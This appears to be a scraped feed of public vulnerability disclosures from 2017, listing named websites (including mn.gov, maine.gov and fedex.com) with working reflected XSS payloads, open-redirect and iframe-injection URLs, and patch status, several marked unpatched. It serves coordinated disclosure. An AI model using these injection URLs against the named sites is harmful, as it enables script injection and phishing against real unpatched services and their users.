HVB Mobile B@nking - Customized SSL, WebView SSL handling enabled, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application HVB Mobile B@nking published at the 'play' market has multiple vulnerabilities...

adeccousa.com XSS vulnerability

Vulnerable URL: https://www.adeccousa.com/jobs/job-search/?k='"==1=10 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 50097 VIP website status:| No Check adeccousa.com SSL connection:| Grade: B- Coordinated...

lacretechamber.com XSS vulnerability

Vulnerable URL: http://lacretechamber.com/businesses/?search=%3CSvG+onload%3Dalert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7680003 VIP website status:| No Check...

kidits.fr XSS vulnerability

Vulnerable URL: http://www.kidits.fr/qscriptimg-srcx-onerrorpromptxssposed?q=%27%7D%7D;%22%3E%7D;%7D;%7D--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert%27XSSPOSED%27;%3E;%7B%7B%27 Details: Description| Value...

mim.com XSS vulnerability

Vulnerable URL: https://www.mim.com/fr/mri/recherche-%22%3E%3Cimg%20src=x%20onerror=prompt'OPENBUGBOUNTY'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 59248 VIP website status...

omis.cancer.umn.edu XSS vulnerability

Vulnerable URL: https://omis.cancer.umn.edu/info/members/member.php?id= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

av30.ru XSS vulnerability

Vulnerable URL: http://www.av30.ru/index.php?m=1"=27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1430993 VIP website status:| No Check av30.ru SSL connection:| Grade: B Coordinated Disclosure Timeline:...

imco.es XSS vulnerability

Vulnerable URL: http://www.imco.es/representadas.php?m=620" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:18 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6710321 VIP website status:| No Check imco.es S...

ogorod23.ru Open Redirect vulnerability

Vulnerable URL: http://ogorod23.ru/goto.php?site=https://www.xssposed.org Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:17 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 147637 VIP website...

ar.itp.net Open Redirect vulnerability

Vulnerable URL: http://ar.itp.net/newsletterinfo/click.php?l=1055=abc=:hotmail.com=2008-09-10=www.openbugbounty.org/=http Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...

fedex.com Open Redirect vulnerability

Vulnerable URL: https://www.fedex.com/insight/demo/detect/flashdetection.swf?flashContentURL=//openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 374 VIP...

sunglassesshop.dk XSS vulnerability

Vulnerable URL: https://www.sunglassesshop.dk/soeg.aspx?q=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%2FOPENBUGBOUNTY%2F%3E%22Indtast%20kode%20eller%20s%C3%B8geord Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:16 GMT Vulnerability type:| XSS...

fishidy.com Open Redirect vulnerability

Vulnerable URL: http://www.fishidy.com/go?url=www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 13.10.2016 Latest check for patch:| 13.10.2016 03:44 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 210493 VIP website status:| N...

iehp.org IFRAME Injection vulnerability

Vulnerable URL: http://www.iehp.org/go.asp?url=www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| IFRAME Injection Vulnerability status:| Publicly disclosed Alexa Rank| 301686 VIP website status:| No Check iehp.org SSL...

onsemi.cn Open Redirect vulnerability

Vulnerable URL: http://www.onsemi.cn/PowerSolutions/jsp/go.jsp?url=https%3A%2f%2fwww.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 11:07 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa...

mn.gov XSS vulnerability

Vulnerable URL: http://mn.gov/portal/search/?query=%3C/script%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22588 VIP website status:| Yes Check mn.gov SSL...

maine.gov XSS vulnerability

Vulnerable URL: http://www.maine.gov/search?q=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3Esitesearch=http%3A%2F%2Fwww.mebaroverseers.org=testcollection=xmlnodtd=testcollection=testcollection Details: Description| Value ---|--- Patched:| Yes, at 24.06.2017 Latest check for patch:|...

sol.com.tw XSS vulnerability

Vulnerable URL: http://www.sol.com.tw/index.php?m=home=ishow=209' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16844982 VIP website status:| No Check sol.com.tw SSL connection:|...

mohsensoft.com Open Redirect vulnerability

Vulnerable URL: http://mohsensoft.com/go.php?u=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 201161 VIP website status:| No Check...

one-way.ru XSS vulnerability

Vulnerable URL: http://one-way.ru/search.php?q=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2245159 VIP website...